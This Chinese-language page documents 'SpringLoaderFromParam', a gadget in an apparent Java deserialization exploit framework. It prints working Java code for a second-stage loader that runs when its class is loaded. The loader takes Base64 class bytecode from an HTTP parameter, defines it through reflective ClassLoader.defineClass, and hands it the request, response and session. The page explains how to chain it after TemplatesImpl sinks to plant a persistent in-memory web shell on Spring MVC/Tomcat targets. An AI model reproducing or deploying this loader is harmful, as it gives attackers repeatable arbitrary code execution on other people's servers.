- 类别:bytecode 别名:— 优先级:—
- 作者:Ar3h
- 依赖:
spring(运行环境需为 Spring MVC + Tomcat)
生成一段「二阶字节码加载器」的字节码:当该字节码被目标以类初始化方式载入(经 TemplatesImpl/BytecodeConvert 之类的字节码 sink 触发)后,它会在 Spring 上下文中取出当前 HTTP 请求,从指定请求参数里读取一段 Base64 编码的类字节码,defineClass 定义并实例化,实现「投递一次、后续任意加载执行」的内存马 / 动态类加载入口。
- 入口
tags:Bytecode、Spring、END——Bytecode表示本 gadget 产出的是原始类字节码,需由上游字节码装载 sink(BytecodeConvert→TemplatesImpl等)承接;Spring标明运行期依赖 Spring;END表示它是链的终端产物(不再向下衔接)。 - 衔接
nextTags:无(终端 sink)。 excludes:无。
gadget 本体只做「取模板字节码 → 改字段 → 返回 byte[]」:
@Param(name="请求参数名", description="参数值对应Base64格式的字节码")
public String paramName = "data";
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(SpringLoaderFromParamBytecode.class);
javassistHelper.modifyStringField("paramName", this.paramName); // 把模板里的静态字段 paramName 重写为用户值
return javassistHelper.getBytecode(); // 返回改写后的类字节码
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context); // 终端 sink:不使用内层对象,仅驱动链
return this.getObject();
}JavassistHelper 以 Javassist 读取模板类 SpringLoaderFromParamBytecode 的字节码,将其 public static String paramName 的初值改写为攻击者设定的参数名,再导出为 byte[]。真正的恶意逻辑全部位于模板类的静态代码块中:
public static String paramName;
public SpringLoaderFromParamBytecode() {
try {
HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.getRequestAttributes()).getRequest();
Field r = request.getClass().getDeclaredField("request");
r.setAccessible(true);
Response response = ((Request)r.get(request)).getResponse(); // 反射取出 Tomcat 原生 Response
HttpSession session = request.getSession();
String classData = request.getParameter(paramName); // 从指定参数读取 Base64 字节码
byte[] classBytes = SpringLoaderFromParamBytecode.Base64Decode(classData);
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClassMethod.setAccessible(true);
Class cc = (Class)defineClassMethod.invoke(SpringLoaderFromParamBytecode.class.getClassLoader(), classBytes, 0, classBytes.length);
cc.newInstance().equals(new Object[]{request, response, session}); // 实例化并把 request/response/session 传入
} catch (Exception exception) { }
}
static {
new SpringLoaderFromParamBytecode(); // 类被加载即触发
}关键点:
- 触发时机:模板类含
static { new SpringLoaderFromParamBytecode(); },因此只要该类被 JVM 定义并初始化(例如TemplatesImpl.newTransformer()触发defineClass+ 静态初始化)即刻执行,无需显式调用方法。 - 拿请求上下文:通过
RequestContextHolder.getRequestAttributes()取当前线程绑定的 Spring 请求;再反射request.request字段拿到 Tomcat 原生Request,进而拿到Response。 - 二阶加载:从
paramName指定的请求参数读入 Base64 类字节码,反射调用受保护的ClassLoader.defineClass定义任意类,newInstance()实例化,并以equals(new Object[]{request, response, session})的形式把 servlet 三件套注入新类(约定新类的equals承担实际逻辑,规避可疑方法名)。 Base64Decode同时兼容java.util.Base64(JDK8+)与sun.misc.BASE64Decoder(旧 JDK),提高通用性。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
paramName |
请求参数名 | 后续请求中携带 Base64 类字节码的参数名;模板运行时以此参数读取待加载的类 | data |
任意字符串 |
- 目标须为 Spring MVC 应用且底层 Servlet 容器为 Tomcat(反射
request.request→org.apache.catalina.connector.Request是硬编码约定)。 - 属于「加载器型」终端 sink:本身不直接命令执行,而是留下一个可反复投递字节码的入口,常用于打内存马。它需要一个能定义/初始化任意类的上游 sink(
TemplatesImpl系列)来激活。 - 反射
ClassLoader.defineClass在 JDK 17+ 强封装下可能受--illegal-access/模块限制影响;RequestContextHolder依赖请求线程绑定,异步/线程池切换场景可能取不到请求。
自由构件,未直接出现在 51 条预设链中。典型用法为置于字节码装载链尾替换默认的 Exec,即 [..., BytecodeConvert, SpringLoaderFromParam] 形态。
- 上游(承接
Bytecode):BytecodeConvert 及经其装载字节码的TemplatesImpl/TemplatesImpl2等 sink。 - 同族(其它
Bytecode+END终端载荷):Exec、TomcatEcho、TomcatEcho2、TcpConnect、TomcatHeader。